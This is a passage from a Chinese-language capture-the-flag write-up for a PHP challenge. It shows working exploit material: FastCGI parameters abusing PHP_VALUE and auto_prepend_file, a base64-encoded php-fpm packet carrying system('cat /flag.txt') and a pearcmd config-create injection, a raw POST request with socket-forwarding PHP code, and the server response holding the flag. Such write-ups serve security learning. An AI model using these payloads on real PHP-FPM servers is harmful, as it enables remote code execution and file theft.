'QUERY_STRING' => $uri, //url编码后的
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_ADMIN_VALUE' => $php_value,
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9000',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code),
'HTTP_HOST' => '127.0.0.1', //题目要求本地访问
'CONTENT_TYPE' => "application/x-www-form-urlencoded", //调试,表示$_POST有数据
);
echo $client->request($params, $code)."\n";
这里通过fpm执行php代码是可以用root权限来访问的,我们直接include是访问不到的,即使用前一个脚本写入php文件后还要修改为上面的后一个脚本得到base64的data再访问才能够得到flag。
payload
POST /?data=AQEAAQAIAAAAAQAAAAAAAAEEAAECYAAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRSRVFVRVNUX01FVEhPRFBPU1QPDVNDUklQVF9GSUxFTkFNRS9kZXYvdGFybi5waHALCVNDUklQVF9OQU1FL3Rhcm4ucGhwDERRVUVSWV9TVFJJTkcvdGFybi5waHA/K2NvbmZpZy1jcmVhdGUrLzw/PXN5c3RlbSgiY2F0IC9mbGFnLnR4dCIpPz4rL2Rldi90YXJuLnBocAtEUkVRVUVTVF9VUkkvdGFybi5waHA/K2NvbmZpZy1jcmVhdGUrLzw/PXN5c3RlbSgiY2F0IC9mbGFnLnR4dCIpPz4rL2Rldi90YXJuLnBocAwJRE9DVU1FTlRfVVJJL3Rhcm4ucGhwDxtQSFBfQURNSU5fVkFMVUVhdXRvX3ByZXBlbmRfZmlsZT0vZmxhZy50eHQJG1BIUF9WQUxVRWF1dG9fcHJlcGVuZF9maWxlPS9mbGFnLnR4dA8NU0VSVkVSX1NPRlRXQVJFODBzZWMvd29mZWl3bwsJUkVNT1RFX0FERFIxMjcuMC4wLjELBFJFTU9URV9QT1JUOTAwMAsJU0VSVkVSX0FERFIxMjcuMC4wLjELAlNFUlZFUl9QT1JUODALCVNFUlZFUl9OQU1FbG9jYWxob3N0DwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQ4CQ09OVEVOVF9MRU5HVEgzMgkJSFRUUF9IT1NUMTI3LjAuMC4xDCFDT05URU5UX1RZUEVhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQBBAABAAAAAAEFAAEAIAAAPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7Pz4BBQABAAAAAA== HTTP/1.1
Host: 65.109.135.249:2000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
y=highlight_file(__FILE__);%0A$data%20=%20base64_decode($_GET%5B'data'%5D);%0A$host%20=%20'127.0.0.1';%0A$port%20=%20'9000';%0A$fp%20=%20fsockopen($host,intval($port),$errno,%20$errstr,%2030);%0Aif%20(!$fp)%20%7B%0A%20%20die();%0A%7D%0Aelse%7B%0A%20%20%20%20fwrite($fp,%20$data);%0A%20%20%20%20while%20(!feof($fp))%20%7B%0A%20%20%20%20%20%20%20%20echo%20fgets($fp,%201288);%0A%20%20%20%20%7D%0A%20%20%20%20fclose($fp);%0A%7D%0Asystem(%22/dev/tarn.php%22);%0Ainclude(%22/dev/tarn.php%22);%0A?%3E
得到返回包
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Mon, 02 Jan 2023 15:40:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/8.2.0
Content-Length: 1958
no pwn 🫠 � X-Powered-By: PHP/8.2.0
Content-type: text/html; charset=UTF-8
#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
J /pear/php";s:8:"data_dir";s:39:"/ASIS{phphphphphphphphpSegmentationfault}
J /pear/data";s:7:"www_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
I /pear/www";s:7:"cfg_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
I /pear/cfg";s:7:"ext_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
I /pear/ext";s:7:"doc_dir";s:39:"/ASIS{phphphphphphphphpSegmentationfault}
K /pear/docs";s:8:"test_dir";s:40:"/ASIS{phphphphphphphphpSegmentationfault}
M /pear/tests";s:9:"cache_dir";s:40:"/ASIS{phphphphphphphphpSegmentationfault}
Q /pear/cache";s:12:"download_dir";s:43:"/ASIS{phphphphphphphphpSegmentationfault}
O /pear/download";s:8:"temp_dir";s:39:"/ASIS{phphphphphphphphpSegmentationfault}
J /pear/temp";s:7:"bin_dir";s:34:"/ASIS{phphphphphphphphpSegmentationfault}
E /pear";s:7:"man_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
P /pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}} :"p#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:38:"//pear/php";s:8:"data_dir";s:39:"//pear/data";s:7:"www_dir";s:38:"//pear/www";s:7:"cfg_dir";s:38:"//pear/cfg";s:7:"ext_dir";s:38:"//pear/ext";s:7:"doc_dir";s:39:"//pear/docs";s:8:"test_dir";s:40:"//pear/tests";s:9:"cache_dir";s:40:"//pear/cache";s:12:"download_dir";s:43:"//pear/download";s:8:"temp_dir";s:39:"//pear/temp";s:7:"bin_dir";s:34:"//pear";s:7:"man_dir";s:38:"//pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}}
i said no pwn 😡😡😡